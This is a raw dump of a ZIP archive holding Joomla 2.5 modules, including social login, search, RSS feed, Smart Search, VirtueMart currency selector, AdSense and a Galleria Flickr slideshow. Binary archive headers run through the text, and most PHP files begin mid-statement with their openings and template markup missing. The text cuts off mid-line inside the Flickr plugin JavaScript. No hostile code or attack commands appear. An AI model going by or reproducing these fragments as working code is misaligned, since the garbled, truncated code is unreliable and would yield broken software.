AAAAPKYy>\#o,,mod_sociallogin/tmpl/index.htmlnuW+APKYy>\)mod_sociallogin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\¶V]] mod_sociallogin/tmpl/default.phpnuW+A
0) { ?>

[Social Login] Please select at least one Social Network (Components\Social Login Configuration)
[Social Login] Please complete your API Settings (Components\Social Login Configuration)
\˚#mod_sociallogin/mod_sociallogin.phpnuW+Adef ('greeting', 1); //Get settings $widget_settings = mod_socialloginHelper::getSettings (); //Add library if (!empty ($widget_settings ['api_subdomain'])) { $document = JFactory::getDocument (); $document->addScript ((mod_socialloginHelper::is_https_on () ? 'https' : 'http') . '://' . $widget_settings ['api_subdomain'] . '.api.oneall.com/socialize/library.js'); } //Get user status $user = JFactory::getUser (); $user_status = ((!$user->get ('guest')) ? 'logout' : 'login'); //Return URL $return_url = JURI::getInstance ()->toString (); //Get Module Class Suffix $moduleclass_sfx = htmlspecialchars ($params->get ('moduleclass_sfx')); //Show template require JModuleHelper::getLayoutPath ('mod_sociallogin', $params->get('layout', 'default')); PKYy>\"++#mod_sociallogin/mod_sociallogin.xmlnuW+A Social Login Open Source License, GPL v2 based OneAll LLC support@oneall.com http://www.oneall.com 2011-11-16 2011 - 2013, OneAll LLC 1.6 The module displays the social network buttons.

Visit us at http://www.oneall.com/
Contact our support at: http://www.oneall.com/company/contact-us/ ]]>
mod_sociallogin.php classes tmpl
PKYy>\#o,,mod_sociallogin/index.htmlnuW+APKYy>\+c "mod_sociallogin/classes/helper.phpnuW+AsetQuery ($sql); $rows = $db->LoadAssocList (); if (is_array ($rows)) { foreach ($rows AS $key => $data) { if ($data['setting'] == 'providers') { $tmp = @unserialize ($data ['value']); if (is_array ($tmp)) { $settings [$data['setting']] = $tmp; } else { $settings [$data['setting']] = array(); } } else { $settings [$data['setting']] = $data ['value']; } } } return $settings; } }PKYy>\#o,,"mod_sociallogin/classes/index.htmlnuW+APKYy>\)!mod_sociallogin/classes/.htaccessnuW+A Order allow,deny Deny from all PKYy>\)mod_sociallogin/.htaccessnuW+A Order allow,deny Deny from all PKYy>\V index.htmlnuW+A PKYy>\)mod_wrapper/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_wrapper/tmpl/index.htmlnuW+A PKYy>\XC"mod_wrapper/tmpl/default.phpnuW+A PKYy>\(Jmod_wrapper/mod_wrapper.phpnuW+Aget('load'); $url = htmlspecialchars($params->get('url')); $target = htmlspecialchars($params->get('target')); $width = htmlspecialchars($params->get('width')); $height = htmlspecialchars($params->get('height')); $scroll = htmlspecialchars($params->get('scrolling')); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); $frameborder = htmlspecialchars($params->get('frameborder')); require JModuleHelper::getLayoutPath('mod_wrapper', $params->get('layout', 'default')); PKYy>\_W8mod_wrapper/mod_wrapper.xmlnuW+A mod_wrapper Joomla! Project October 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_WRAPPER_XML_DESCRIPTION mod_wrapper.php tmpl helper.php index.html en-GB.mod_wrapper.ini en-GB.mod_wrapper.sys.ini
PKYy>\Vmod_wrapper/index.htmlnuW+A PKYy>\)mod_wrapper/.htaccessnuW+A Order allow,deny Deny from all PKYy>\f mod_wrapper/helper.phpnuW+Adef('url', ''); $params->def('scrolling', 'auto'); $params->def('height', '200'); $params->def('height_auto', '0'); $params->def('width', '100%'); $params->def('add', '1'); $params->def('name', 'wrapper'); $url = $params->get('url'); if ($params->get('add')) { // adds 'http://' if none is set if (substr($url, 0, 1) == '/') { // relative url in component. use server http_host. $url = 'http://'.$_SERVER['HTTP_HOST'].$url; } elseif (!strstr($url, 'http') && !strstr($url, 'https')) { $url = 'http://'.$url; } else { $url = $url; } } // auto height control if ($params->def('height_auto')) { $load = 'onload="iFrameHeight()"'; } else { $load = ''; } $params->set('load', $load); $params->set('url', $url); return $params; } } PKYy>\)mod_search/.htaccessnuW+A Order allow,deny Deny from all PKYy>\ySSmod_search/mod_search.xmlnuW+A mod_search Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_SEARCH_XML_DESCRIPTION mod_search.php tmpl helper.php index.html mod_search.xml en-GB.mod_search.ini en-GB.mod_search.sys.ini
PKYy>\y8mod_search/mod_search.phpnuW+Aget('opensearch', 1)) { $doc = JFactory::getDocument(); $app = JFactory::getApplication(); $ostitle = $params->get('opensearch_title', JText::_('MOD_SEARCH_SEARCHBUTTON_TEXT').' '.$app->getCfg('sitename')); $doc->addHeadLink(JURI::getInstance()->toString(array('scheme', 'host', 'port')).JRoute::_('&option=com_search&format=opensearch'), 'search', 'rel', array('title' => htmlspecialchars($ostitle), 'type' => 'application/opensearchdescription+xml')); } $upper_limit = $lang->getUpperLimitSearchWord(); $button = $params->get('button', ''); $imagebutton = $params->get('imagebutton', ''); $button_pos = $params->get('button_pos', 'left'); $button_text = htmlspecialchars($params->get('button_text', JText::_('MOD_SEARCH_SEARCHBUTTON_TEXT'))); $width = intval($params->get('width', 20)); $maxlength = $upper_limit; $text = htmlspecialchars($params->get('text', JText::_('MOD_SEARCH_SEARCHBOX_TEXT'))); $label = htmlspecialchars($params->get('label', JText::_('MOD_SEARCH_LABEL_TEXT'))); $set_Itemid = intval($params->get('set_itemid', 0)); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); if ($imagebutton) { $img = modSearchHelper::getSearchImage($button_text); } $mitemid = $set_Itemid > 0 ? $set_Itemid : JRequest::getInt('Itemid'); require JModuleHelper::getLayoutPath('mod_search', $params->get('layout', 'default')); PKYy>\Vmod_search/index.htmlnuW+A PKYy>\b0jLmod_search/helper.phpnuW+A\)mod_search/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_search/tmpl/index.htmlnuW+A PKYy>\ :mod_search/tmpl/default.phpnuW+A
'.$label.''; if ($button) : if ($imagebutton) : $button = ''; else : $button = ''; endif; endif; switch ($button_pos) : case 'top' : $button = $button.'
'; $output = $button.$output; break; case 'bottom' : $button = '
'.$button; $output = $output.$button; break; case 'right' : $output = $output.$button; break; case 'left' : default : $output = $button.$output; break; endswitch; echo $output; ?>
PKYy>\)mod_users_latest/.htaccessnuW+A Order allow,deny Deny from all PKYy>\V mod_users_latest/tmpl/index.htmlnuW+A PKYy>\)mod_users_latest/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\H!mod_users_latest/tmpl/default.phpnuW+A PKYy>\d%mod_users_latest/mod_users_latest.phpnuW+Aget('shownumber', 5); $names = moduserslatestHelper::getUsers($params); $linknames = $params->get('linknames', 0); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_users_latest', $params->get('layout', 'default')); PKYy>\#o %mod_users_latest/mod_users_latest.xmlnuW+A mod_users_latest Joomla! Project December 2009 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_USERS_LATEST_XML_DESCRIPTION mod_users_latest.php tmpl helper.php index.html en-GB.mod_users_latest.ini en-GB.mod_users_latest.sys.ini
PKYy>\Vmod_users_latest/index.htmlnuW+A PKYy>\ßWmod_users_latest/helper.phpnuW+AgetQuery(true); $query->select('a.id, a.name, a.username, a.registerDate'); $query->order('a.registerDate DESC'); $query->from('#__users AS a'); $user = JFactory::getUser(); if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1) { $groups = $user->getAuthorisedGroups(); if (empty($groups)) { return array(); } $query->leftJoin('#__user_usergroup_map AS m ON m.user_id = a.id'); $query->leftJoin('#__usergroups AS ug ON ug.id = m.group_id'); $query->where('ug.id in (' . implode(',', $groups) . ')'); $query->where('ug.id <> 1'); } $db->setQuery($query, 0, $params->get('shownumber')); $result = $db->loadObjectList(); return (array) $result; } } PKYy>\wtW!mod_phocagoogleadsense/index.htmlnuW+APKYy>\) mod_phocagoogleadsense/.htaccessnuW+A Order allow,deny Deny from all PKYy>\*nU  1mod_phocagoogleadsense/mod_phocagoogleadsense.xmlnuW+A Phoca - Google AdSense Easy Jan Pavelka (www.phoca.cz) 20/03/2012 Jan Pavelka http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL info@phoca.cz www.phoca.cz 2.0.2
Phoca - Google AdSense Easy - a Joomla! CMS module.

 

Just copy your Google AdSense code and paste it into your Joomla! site.
AdSense Code - paste your AdSense code here.
IP(s) Block List - add the IP(s) you want to block here. Separate each IP with semicolon (,).
Alternate Content - specify alternate content for blocked IP(s).

 

More information: Phoca.cz
Help and Support: Phoca Forum
]]>
mod_phocagoogleadsense.php index.html language/en-GB/en-GB.mod_phocagoogleadsense.ini language/en-GB/en-GB.mod_phocagoogleadsense.ini
PKYy>\/1mod_phocagoogleadsense/mod_phocagoogleadsense.phpnuW+Aget( 'adsense_code' ) ); $ip_block_list = trim( $params->get( 'ip_block_list' ) ); $alternate_content = trim( $params->get( 'alternate_content' ) ); $module_css_style = trim( $params->get( 'module_css_style' ) ); $ip_array = explode( ',', $ip_block_list ); $ipa = 1;//display foreach ($ip_array as $value) {if ($_SERVER["REMOTE_ADDR"] == trim($value)) {$ipa = 0;}} if ($module_css_style) {echo '
';} if ($ipa == 1) {echo $adsense_code;} else {echo $alternate_content;} if ($module_css_style) {echo '
';} ?>PKYy>\5Oeemod_custom/mod_custom.phpnuW+Adef('prepare_content', 1)) { JPluginHelper::importPlugin('content'); $module->content = JHtml::_('content.prepare', $module->content, '', 'mod_custom.content'); } $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_custom', $params->get('layout', 'default')); PKYy>\ kc c mod_custom/mod_custom.xmlnuW+A mod_custom Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_CUSTOM_XML_DESCRIPTION mod_custom.php index.html tmpl en-GB.mod_custom.ini en-GB.mod_custom.sys.ini
PKYy>\)mod_custom/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_custom/tmpl/index.htmlnuW+A PKYy>\_]@xmod_custom/tmpl/default.phpnuW+A
get('backgroundimage')): ?> style="background-image:url(get('backgroundimage');?>)" > content;?>
PKYy>\)mod_custom/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_custom/index.htmlnuW+A PKYy>\88mod_feed/mod_feed.xmlnuW+A mod_feed Joomla! Project July 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_FEED_XML_DESCRIPTION mod_feed.php helper.php index.html tmpl en-GB.mod_feed.ini en-GB.mod_feed.sys.ini
PKYy>\  mod_feed/mod_feed.phpnuW+Aget('rssurl', ''); $rssrtl = $params->get('rssrtl', 0); //check if feed URL has been set if (empty ($rssurl)) { echo '
'; echo JText::_('MOD_FEED_ERR_NO_URL'); echo '
'; return; } $feed = modFeedHelper::getFeed($params); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_feed', $params->get('layout', 'default')); PKYy>\Z{ mod_feed/tmpl/default.phpnuW+A image->url) ? $feed->image->url : null; $iTitle = isset($feed->image->title) ? $feed->image->title : null; ?>
title) && $params->get('rsstitle', 1)) { ?>

title; ?>

get('rssdesc', 1)) { ?> description; ?> get('rssimage', 1) && $iUrl) { ?> <?php echo @$iTitle; ?> items); $setItems = $params->get('rssitems', 5); if ($setItems > $actualItems) { $totalItems = $actualItems; } else { $totalItems = $setItems; } ?>
PKYy>\Vmod_feed/tmpl/index.htmlnuW+A PKYy>\)mod_feed/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\~ĥppmod_feed/helper.phpnuW+Aget('rssurl', ''); // get RSS parsed object $cache_time = 0; if ($params->get('cache')) { /* * The cache_time will get fed into JCache to initiate the feed_parser cache group and eventually * JCacheStorage will multiply the value by 60 and use that for its lifetime. The only way to sync * the feed_parser cache (which caches with an empty dataset anyway) with the module cache is to * first divide the module's cache time by 60 then inject that forward, which once stored into the * JCacheStorage object, will be the correct value in minutes. */ $cache_time = $params->get('cache_time', 15) / 60; } $rssDoc = JFactory::getFeedParser($rssurl, $cache_time); $feed = new stdClass; if ($rssDoc != false) { // channel header and link $feed->title = $rssDoc->get_title(); $feed->link = $rssDoc->get_link(); $feed->description = $rssDoc->get_description(); // channel image if exists $feed->image = new stdClass; $feed->image->url = $rssDoc->get_image_url(); $feed->image->title = $rssDoc->get_image_title(); // items $items = $rssDoc->get_items(); // feed elements $feed->items = array_slice($items, 0, $params->get('rssitems', 5)); } else { $feed = false; } return $feed; } } PKYy>\)mod_feed/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_feed/index.htmlnuW+A PKYy>\mod_finder/mod_finder.xmlnuW+A mod_finder Joomla! Project August 2011 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_FINDER_XML_DESCRIPTION tmpl mod_finder.php helper.php index.html mod_finder.xml language/en-GB/en-GB.mod_finder.ini language/en-GB/en-GB.mod_finder.sys.ini
PKYy>\ xmod_finder/mod_finder.phpnuW+Aget('opensearch', 1)) { /* This code intentionally commented $doc = JFactory::getDocument(); $app = JFactory::getApplication(); $ostitle = $params->get('opensearch_title', JText::_('MOD_FINDER_SEARCHBUTTON_TEXT') . ' ' . $app->getCfg('sitename')); $doc->addHeadLink( JURI::getInstance()->toString(array('scheme', 'host', 'port')) . JRoute::_('&option=com_finder&format=opensearch'), 'search', 'rel', array('title' => $ostitle, 'type' => 'application/opensearchdescription+xml') ); */ } // Initialize module parameters. $params->def('field_size', 20); // Get the route. $route = FinderHelperRoute::getSearchRoute($params->get('f', null)); // Load component language file. FinderHelperLanguage::loadComponentLanguage(); // Load plug-in language files. FinderHelperLanguage::loadPluginLanguage(); // Get Smart Search query object. $query = modFinderHelper::getQuery($params); require JModuleHelper::getLayoutPath('mod_finder', $params->get('layout', 'default')); PKYy>\-Kmod_finder/helper.phpnuW+AgetVar('Itemid'); $fields = array(); $uri = JURI::getInstance(JRoute::_($route)); $uri->delVar('q'); // Create hidden input elements for each part of the URI. foreach ($uri->getQuery(true) as $n => $v) { $fields[] = ''; } // Add a field for Itemid if we need one. if ($needId) { $id = JFactory::getApplication()->input->get('Itemid', '0', 'int'); $fields[] = ''; } return implode('', $fields); } /** * Get Smart Search query object. * * @param JRegistry object containing module parameters. * * @return FinderIndexerQuery object * * @since 2.5 */ public static function getQuery($params) { $app = JFactory::getApplication(); $input = $app->input; $request = $input->request; $filter = JFilterInput::getInstance(); // Get the static taxonomy filters. $options = array(); $options['filter'] = ($request->get('f', 0, 'int') != 0) ? $request->get('f', '', 'int') : $params->get('searchfilter'); $options['filter'] = $filter->clean($options['filter'], 'int'); // Get the dynamic taxonomy filters. $options['filters'] = $request->get('t', '', 'array'); $options['filters'] = $filter->clean($options['filters'], 'array'); JArrayHelper::toInteger($options['filters']); // Instantiate a query object. $query = new FinderIndexerQuery($options); return $query; } } PKYy>\6mod_finder/index.htmlnuW+APKYy>\)mod_finder/.htaccessnuW+A Order allow,deny Deny from all PKYy>\)mod_finder/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\NӨmod_finder/tmpl/default.phpnuW+Aload('com_finder', JPATH_SITE); $suffix = $params->get('moduleclass_sfx'); $output = ''; $button = ''; $label = ''; if ($params->get('show_label', 1)) { $label = ''; switch ($params->get('label_pos', 'left')): case 'top' : $label = $label . '
'; $output = $label . $output; break; case 'bottom' : $label = '
' . $label; $output = $output . $label; break; case 'right' : $output = $output . $label; break; case 'left' : default : $output = $label . $output; break; endswitch; } if ($params->get('show_button', 1)) { $button = ''; switch ($params->get('button_pos', 'right')): case 'top' : $button = $button . '
'; $output = $button . $output; break; case 'bottom' : $button = '
' . $button; $output = $output . $button; break; case 'right' : $output = $output . $button; break; case 'left' : default : $output = $button . $output; break; endswitch; } JHtml::stylesheet('com_finder/finder.css', false, true, false); ?>
get('show_advanced', 1)): ?> get('show_advanced', 1) == 2): ?>
get('show_advanced', 1) == 1): ?>
PKYy>\6mod_finder/tmpl/index.htmlnuW+APKYy>\)#mod_virtuemart_currencies/.htaccessnuW+A Order allow,deny Deny from all PKYy>\#o,,$mod_virtuemart_currencies/index.htmlnuW+APKYy>\B B 7mod_virtuemart_currencies/mod_virtuemart_currencies.phpnuW+Aget( 'text_before', ''); /* table vm_vendor */ $db = JFactory::getDBO(); // the select list should include the vendor currency which is the currency in which the product prices are displayed by default. $q = 'SELECT CONCAT(`vendor_accepted_currencies`, ",",`vendor_currency`) AS all_currencies, `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`='.$vendorId; $db->setQuery($q); $vendor_currency = $db->loadAssoc(); $virtuemart_currency_id = $mainframe->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id', $vendor_currency['vendor_currency']) ); //if (!$vendor_currency['vendor_accepted_currencies']) return; //$currency_codes = explode(',' , $currencies->vendor_accepted_currencies ); /* table vm_currency */ //$q = 'SELECT `virtuemart_currency_id`,CONCAT_WS(" ",`currency_name`,`currency_exchange_rate`,`currency_symbol`) as currency_txt FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` IN ('.$currency_codes.') and enabled =1 ORDER BY `currency_name`'; $q = 'SELECT `virtuemart_currency_id`,CONCAT_WS(" ",`currency_name`,`currency_symbol`) as currency_txt FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` IN ('.$vendor_currency['all_currencies'].') and (`virtuemart_vendor_id` = "'.$vendorId.'" OR `shared`="1") AND published = "1" ORDER BY `ordering`,`currency_name`'; $db->setQuery($q); $currencies = $db->loadObjectList(); /* load the template */ require(JModuleHelper::getLayoutPath('mod_virtuemart_currencies')); ?> PKYy>\,, , 7mod_virtuemart_currencies/mod_virtuemart_currencies.xmlnuW+A mod_virtuemart_currencies January 10 2014 The VirtueMart Development Team http://www.virtuemart.net ${PHING.VM.COPYRIGH} http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d MOD_VIRTUEMART_CURRENCIES_DESC mod_virtuemart_currencies.php index.html tmpl/default.php tmpl/index.html
PKYy>\#o,,)mod_virtuemart_currencies/tmpl/index.htmlnuW+APKYy>\)(mod_virtuemart_currencies/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\iXX*mod_virtuemart_currencies/tmpl/default.phpnuW+A


PKYy>\V$mod_articles_archive/tmpl/index.htmlnuW+A PKYy>\)#mod_articles_archive/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Dy$$%mod_articles_archive/tmpl/default.phpnuW+A PKYy>\)mod_articles_archive/.htaccessnuW+A Order allow,deny Deny from all PKYy>\(ii-mod_articles_archive/mod_articles_archive.phpnuW+Adef('count', 10); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); $list = modArchiveHelper::getList($params); require JModuleHelper::getLayoutPath('mod_articles_archive', $params->get('layout', 'default')); PKYy>\ui-mod_articles_archive/mod_articles_archive.xmlnuW+A mod_articles_archive Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_ARTICLES_ARCHIVE_XML_DESCRIPTION mod_articles_archive.php tmpl helper.php index.html mod_articles_archive.xml en-GB.mod_articles_archive.ini en-GB.mod_articles_archive.sys.ini
PKYy>\Vmod_articles_archive/index.htmlnuW+A PKYy>\:w]mod_articles_archive/helper.phpnuW+AgetQuery(true); $query->select('MONTH(created) AS created_month, created, id, title, YEAR(created) AS created_year'); $query->from('#__content'); $query->where('state = 2 AND checked_out = 0'); $query->group('created_year DESC, created_month DESC'); // Filter by language if (JFactory::getApplication()->getLanguageFilter()) { $query->where('language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'); } $db->setQuery($query, 0, intval($params->get('count'))); $rows = (array) $db->loadObjectList(); $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getItems('link', 'index.php?option=com_content&view=archive', true); $itemid = (isset($item) && !empty($item->id) ) ? '&Itemid='.$item->id : ''; $i = 0; $lists = array(); foreach ($rows as $row) { $date = JFactory::getDate($row->created); $created_month = $date->format('n'); $created_year = $date->format('Y'); $created_year_cal = JHTML::_('date', $row->created, 'Y'); $month_name_cal = JHTML::_('date', $row->created, 'F'); $lists[$i] = new stdClass; $lists[$i]->link = JRoute::_('index.php?option=com_content&view=archive&year='.$created_year.'&month='.$created_month.$itemid); $lists[$i]->text = JText::sprintf('MOD_ARTICLES_ARCHIVE_DATE', $month_name_cal, $created_year_cal); $i++; } return $lists; } } PKYy>\5( $mod_avatar_slide_galleria/helper.txtnuW+ASOURCE SETTING source : flickr/picasa/folder Max image : max image can be silded Flickr setting Flickr Search by (search method) -search string -user name : Fetch a users public photos using the username like displayed in the URL (not user ID). -tag : Search Flickr for public photos using tags. -Photo Set : Get photos from a photoset by ID. -Gallery ID : Get photos from a gallery by ID. -Group Search : Search groups and fetch photos from the first group found Useful if you know the exact name of a group and want to show the groups photos. -Group ID : Get photos from a group by ID. Picasa setting Picasa Search By -user name : Fetch a users public photos using the username like displayed in the URL (not user ID). -user name/album : Get photos from a user album Folder Setting -Hold CTRL+click to multichoice folder -Image folder Slide Setting Set Height & Width like this : 100% or 100px. If you type 100, it's mean 100px FLICKR Flickr User ID : Sign in to Flickr , click You tag and see URL like : http://www.flickr.com/photos/16883133@N05/ your Flickr acount id is "16883133@N05" Flickr Gallery ID Click http://www.flickr.com/services/api/explore/flickr.urls.lookupGallery Copy and parse gallery URL to Arguments URL then click Call method button Flickr Group ID Click http://www.flickr.com/services/api/explore/flickr.urls.lookupGroup Copy and parse group URL to Arguments URL then click Call method button See Flickr API here: http://www.flickr.com/services/api/ Flickr PhotoSet Get photos from a photoset by ID. Note that the sort option is not available in this API call, see more here: http://www.flickr.com/services/api/flickr.photosets.getPhotos.html PICASA Picasa user ID To find your address, sign in to Picasa Web Albums, Click the My Photos tab, and then click My Photos. see URL like like : https://picasaweb.google.com/116771399286983097230 your picasa id is "116771399286983097230" Picasa user name/album To find your address, sign in to Picasa Web Albums, click the My Photos tab, and then click My Photos, click album want to be silde. See Url like : https://picasaweb.google.com/116771399286983097230/youralbum put "116771399286983097230/youralbum" to string for searchPKYy>\+mod_avatar_slide_galleria/fields/index.htmlnuW+APKYy>\:5=;mod_avatar_slide_galleria/fields/jantdropboximagefolder.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; if ((string) $this->element['readonly'] == 'true' || (string) $this->element['disabled'] == 'true') { $attr .= ' disabled="disabled"'; } $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; $attr .= $this->multiple ? ' multiple="multiple"' : ''; $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options[] = JHTML::_('select.option', '', JText::_('AVATAR_SELECT_FOLDER')); $folders = JFolder::folders($base, '.', true, true); foreach ($folders as $folder) { $folder = str_replace($base, '', $folder); $value = str_replace(DIRECTORY_SEPARATOR, '/', substr($folder, 1)); $text = str_replace(DIRECTORY_SEPARATOR, '/', $folder); $options[] = JHTML::_('select.option', $value, $text); } if (is_array($options)) { sort($options); } $html = JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id); return $html; } }PKYy>\0mod_avatar_slide_galleria/fields/colorpicker.phpnuW+AaddScript($base_path.'assets/js/mooRainbow.js'); $document->addStyleSheet($base_path.'assets/css/mooRainbow.css'); if(strlen($this->value) == 7 && substr($this->value, 0, 1) == '#') { $color_code = '[' .hexdec(substr($this->value, 1, 2)) .',' .hexdec(substr($this->value, 3, 2)) .',' .hexdec(substr($this->value, 5, 2)) .']'; } $control_code = 'window.addEvent("domready", function() { ' .'new MooRainbow("'.$this->id.'", {' .' id: "'.$this->id.'", ' .' startColor: "'.$color_code.'", ' .' imgPath: "'.$base_path.'assets/images/", ' .'onChange: function(color) {' .' this.element.value = color.hex;' .'}, ' .'}); ' .'});'; $document->addScriptDeclaration($control_code); $html_code = ''; return $html_code; } } ?>PKYy>\)*mod_avatar_slide_galleria/fields/.htaccessnuW+A Order allow,deny Deny from all PKYy>\)mod_avatar_slide_galleria/tmpl/index.htmlnuW+APKYy>\=)mod_avatar_slide_galleria/tmpl/picasa.phpnuW+A
PKYy>\)(mod_avatar_slide_galleria/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\̛ܭ)mod_avatar_slide_galleria/tmpl/folder.phpnuW+A
"; echo ""; } } ?>
PKYy>\=)mod_avatar_slide_galleria/tmpl/flickr.phpnuW+A
PKYy>\$mod_avatar_slide_galleria/index.htmlnuW+APKYy>\+mod_avatar_slide_galleria/assets/index.htmlnuW+APKYy>\>nӉ((6mod_avatar_slide_galleria/assets/js/galleria.flickr.jsnuW+A/** * Galleria Flickr Plugin 2012-04-04 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */ (function($) { /*global jQuery, Galleria, window */ Galleria.requires(1.25, 'The Flickr Plugin requires Galleria version 1.2.5 or later.'); // The script path var PATH = Galleria.utils.getScriptPath(); /** @class @constructor @example var flickr = new Galleria.Flickr(); @author http://aino.se @requires jQuery @requires Galleria @param {String} [api_key] Flickr API key to be used, defaults to the Galleria key @returns Instance */ Galleria.Flickr = function( api_key ) { this.api_key = api_key || 'bad7186f26d42e9b0e774191ef6931f3'; this.options = { max: 30, // photos to return imageSize: 'medium', // photo size ( thumb,small,medium,big,original ) thumbSize: 'thumb', // thumbnail size ( thumb,small,medium,big,original ) sort: 'interestingness-desc', // sort option ( date-posted-asc, date-posted-desc, date-taken-asc, date-taken-desc, interestingness-desc, interestingness-asc, relevance ) description: false, // set this to true to get description as caption complete: function(){}, // callback to be called inside the Galleria.prototype.load backlink: false // set this to true if you want to pass a link back to the original image }; }; Galleria.Flickr.prototype = { // bring back the constructor reference constructor: Galleria.Flickr, /** Search for anything at Flickr @param {String} phrase The string to search for @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ search: function( phrase, callback ) { return this._find({ text: phrase }, callback ); }, /** Search for anything at Flickr by tag @param {String} tag The tag(s) to search for @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ tags: function( tag, callback ) { return this._find({ tags: tag }, callback); }, /** Get a user's public photos @param {String} username The username as shown in the URL to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ user: function( username, callback ) { return this._call({ method: 'flickr.urls.lookupUser', url: 'flickr.com/photos/' + username }, function( data ) { this._find({ user_id: data.user.id, method: 'flickr.people.getPublicPhotos' }, callback); }); }, /** Get photos from a photoset by ID @param {String|Number} photoset_id The photoset id to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ set: function( photoset_id, callback ) { return this._find({ photoset_id: photoset_id, method: 'flickr.photosets.getPhotos' }, callback); }, /** Get photos from a gallery by ID @param {String|Number} gallery_id The gallery id to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ gallery: function( gallery_id, callback ) { return this._find({ gallery_id: gallery_id, method: 'flickr.galleries.getPhotos' }, callback); }, /** Search groups and fetch photos from the first group found Useful if you know the exact name of a group and want to show the groups photos. @param {String} group The group name to search for @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ groupsearch: function( group, callback ) { return this._call({ text: group, method: 'flickr.groups.search' }, function( data ) { this.group( data.groups.group[0].nsid, callback ); }); }, /** Get photos from a group by ID @param {String} group_id The group id to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ group: function ( group_id, callback ) { return this._find({ group_id: group_id, method: 'flickr.groups.pools.getPhotos' }, callback ); }, /** Set flickr options @param {Object} options The options object to blend @returns Instance */ setOptions: function( options ) { $.extend(this.options, options); return this; }, // call Flickr and raise errors _call: function( params, callback ) { var url = 'http://api.flickr.com/services/rest/?'; var scope = this; params = $.extend({ format : 'json', jsoncallback : '?', api_key: this.api_key }, params ); $.each(params, function( key, value ) { url += '&' + key + '=' + value; }); $.getJSON(url, function(data) { if ( data.stat === 'ok' ) { callback.call(scope, data); } else { Galleria.raise( data.code.toString() + ' ' + data.stat + ': ' + data.message, true ); } }); return scope; }, // "hidden" way of getting a big image (~1024) from flickr _getBig: function( photo ) { if ( photo.url_l ) { return photo.url_l; } else if ( parseInt( photo.width_o, 10 ) > 1280 ) { return 'http://farm'+photo.farm + '.static.flickr.com/'+photo.server + '/' + photo.id + '_' + photo.secret + '_b.jpg'; } return photo.url_o || photo.url_z || photo.url_m; }, // get image size by option name _getSize: function( photo, size ) { var img; switch(size) { case 'thumb': img = photo.url_t; break; case 'small': img = photo.url_s; break; case 'big': img = this._getBig( photo ); break; case 'original': img = photo.url_o ? photo.url_o : this._getBig( photo ); break; default: img = photo.url_z || photo.url_m; break; } return img; }, // ask flickr for photos, parse the result and call the callback with the galleria-ready data array _find: function( params, callback ) { params = $.extend({ method: 'flickr.photos.search', extras: 'url_t,url_m,url_o,url_s,url_l,url_z,description', sort: this.options.sort }, params ); return this._call( params, function(data) { var gallery = [], photos = data.photos ? data.photos.photo : data.photoset.photo, len = Math.min( this.options.max, photos.length ), photo, i; for ( i=0; i').css({ width: '100%', height: '100%', opacity: 0.7, background:'#000 url(' 